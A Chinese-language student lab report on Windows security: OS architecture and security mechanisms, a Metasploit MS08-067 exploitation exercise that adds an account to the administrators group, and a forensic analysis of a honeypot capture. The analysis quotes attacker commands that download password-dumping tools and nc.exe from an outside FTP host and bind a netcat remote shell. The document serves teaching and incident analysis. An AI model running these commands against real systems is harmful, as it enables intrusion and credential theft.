Windows操作系统安全攻防
1.实践内容
Windows操作系统基本结构
- Windows操作系统内核的基本模块包括:Windows执行体、Windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口内核实现代码。
- Windows操作系统在用户代码的代码模块包括:系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。
- Windows操作系统内核实现的核心机制:Windows进程和线程管理机制、Windows内存管理机制、Windows文件管理机制、Windows注册表管理机制、Windows的网络机制。
windows网络机制各模块包括:
| 组件模块 | 描述 |
|---|---|
| 各网卡硬件设备驱动(物理层) | 一般由第三方硬件厂商开发并提供 |
| NDIS库及miniport驱动(链路层) | 为不同的网卡驱动程序和TDI传输层间构建了封装接口 |
| TDI(被称为网络协议驱动)(网络层、传输层) | 实现TCP/IP等协议栈 |
| 网络API DLL 及TDI客户端(会话层、表示层) | 网络API DLL为应用程序提供了独立于具体协议的网络交互实现方式,TDI客户端是API接口的具体实现 |
| 网络应用程序与服务进程(OSI应用层) | 实现网络交互与通信功能 |
Windows操作系统基于引用监控器模型
Windows身份认证机制
- Windows账户分为用户,用户组,和计算机三大类,Windows用户账户的口令经过加密处理后被保存于SAM或者活动目录AD中,其中本地用户账户口令信息经过不可逆的128位随机密钥Hash加密后存储在SAM文件中。
Windows授权与访问控制机制
-
由内核中的SRM模块与用户态的LSASS服务共同实施。认证通过后,会赋予用户访问令牌。
-
Windows对于系统中所有需要保护的资源抽象成对象,关联一个SD安全描述符。其中指明了哪些主体可以以何种方式访问对象。
安全审计机制
- LSASS服务保存审计策略,SRM在进行对象访问授权时,也将审计记录发送给LSASS服务,再由EventLog服务进行写入记录。
其他安全机制
- 安全中心(防火墙、补丁、病毒防护),IPsec加载和验证机制,EPS加密文件系统,文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制等。
Windows远程攻击技术分类
- 远程口令猜测与破解攻击
- 攻击Windows网络服务
- 攻击Windows客户端及用户
远程安全攻防
- 安全漏洞公开披露信息库:CVE,NVD,OSVDB,CNNVD等。
- 针对特定目标的渗透测试攻击过程:漏洞扫描,查找相应渗透代码,渗透测试(匹配环境等)。
- 远程口令猜测和破解攻击:SMB服务的用户口令猜测,利用身份认证协议的漏洞进行用户口令破解;防范措施:尽量关闭不必要的易受攻击的网络服务,配置防火墙对相应端口进行访问控制,设置强口令。
- 网络服务远程渗透攻击:对网络服务默认开放的端口进行攻击。防范措施:打补丁,在漏洞发布到补丁更新时尽量关闭相关端口网络服务。
本地安全攻防
- 获取受限账户后提权(DLL注入),获取adminstrator权限甚至local system权限。
- 敏感信息窃取:提取口令字密文,破解密文,窃取数据;防范措施:设置强口令,加密口令。
- 消踪灭迹:关闭审计功能,消除事件日志;防范措施将日志记录到不可擦除的设备中或备份至网络服务器。
- 设置后门:在受控主机中安装特定后门程序;防范措施:后门检测软件。
2.实践过程
kali打开msfconsole,如果提示WARNING: No database support: No database YAML file,首先利用命令msfdb init进行数据初始化配置,要用root权限,搜索漏洞编号,输入命令use+漏洞名称来利用漏洞
选择一个载荷,选3,不要选windows/meterpreter/,选了就是坑
设置靶机和攻击机IP地址,用run运行
看到Windows命令行,输入ipconfig,发现显示靶机IP,表明进入靶机
创建名为gaga的用户
靶机显示创建成功
查看权限,发现不是最高
将gaga加入管理员组,发现成员组后有了administrator,表明gaga加入了管理员组
实践直接继续以上步骤即可,输入run运行前打开wireshark,攻击发起时会发起ARP请求,第一个ARP请求的时间就是攻击发起的时间。攻击机向靶机发了许多SMB协议包。而MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的函数时触发,并利用这个漏洞进行攻击。
输入指令ifconfig,虽然是错的,但wireshark仍然捕捉到了
攻击者使用了什么破解工具进行攻击?
筛选出攻击机和靶机之间的通信ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106,访问了网站,可以看到UA信息,推测攻击主机为NT5.0系统,安装了一些插件,发现使用了IIS4.0,可能有Unicode攻击
发现特殊的字符%C0%AF,验证推测为Unicode攻击
发现了SQL语句,推测有SQL注入,有ADM!ROX!YOUR!WORLD 这个特征,查询到是由msadc(2).pl渗透攻击代码发起的攻击,针对msadcs.dll中RDS漏洞。
攻击者如何使用这个破解工具进入并控制了系统?
根据以下会话
SESSION:1778-80 cmd /c echo user johna2k > ftpcom
SESSION:1780-80 cmd /c echo hacker2000 > ftpcom
SESSION:1782-80 cmd /c echo get samdump.dll > ftpcom
SESSION:1784-80 cmd /c echo get pdump.exe > ftpcom
SESSION:1786-80 cmd /c echo get nc.exe > ftpcom
SESSION:1789-80 cmd /c echo quit >> ftpcom
SESSION:1791-80 cmd /c ftp -s:ftpcom -n www.nether.net
攻击机开始了一连串攻击动作,创建了ftpcom脚本,并使用ftp连接www.nether.net,尝试下载 samdump.dll、pdump.exe和nc.exe,
由于登录不成功,下载失败
之后终于写对了,蜜罐连接了攻击机,下载了指定文件
利用指令cmd1.exe /c nc -l -p 6969 -e cmd1.exe。利用Unicode漏洞并通过nc.exe构建了一个远程shell通道,连接端口6969,获得了访问权,进入了交互式控制阶段
攻击者获得系统访问权限后做了什么?
进入交互式控制阶段后,输入了以下指令(未全列出),整体目的是为了将权限提升至管理员,.[A出现这个,只能说这个攻击者linux用的多,习惯了使用上下箭头来重复命令
...
dir
.[Adir
dir
del ftpcom //删除文件
ls.
dir
type readme.e //查看文件的内容
c:.
cd
dir
rm ..
del fun
dir
cd exploites
dir
cd exploits
dir
cd microsoft
dir
cd ..
cd newfiles
dir
cd ..
cd unix
dir
cat yay //查看文件内容,但没有成功,改成使用type命令
type yay. //此处还输错文件名
type yay.txt
net session //尝试列出会话,但因为权限问题被拒绝
net users //列出用户
dir
type yay2.txt
del yay2.txt
net session >>yay3.txt
dir
del yay&.*
dir
del yay*
del yay3.txt
dir
dir
yuper .....
type heh.txt
del heh.txt
cd program files
dir
cd ..
dir
echo Hi, i know that this a ..is a lab server, but patch the holes!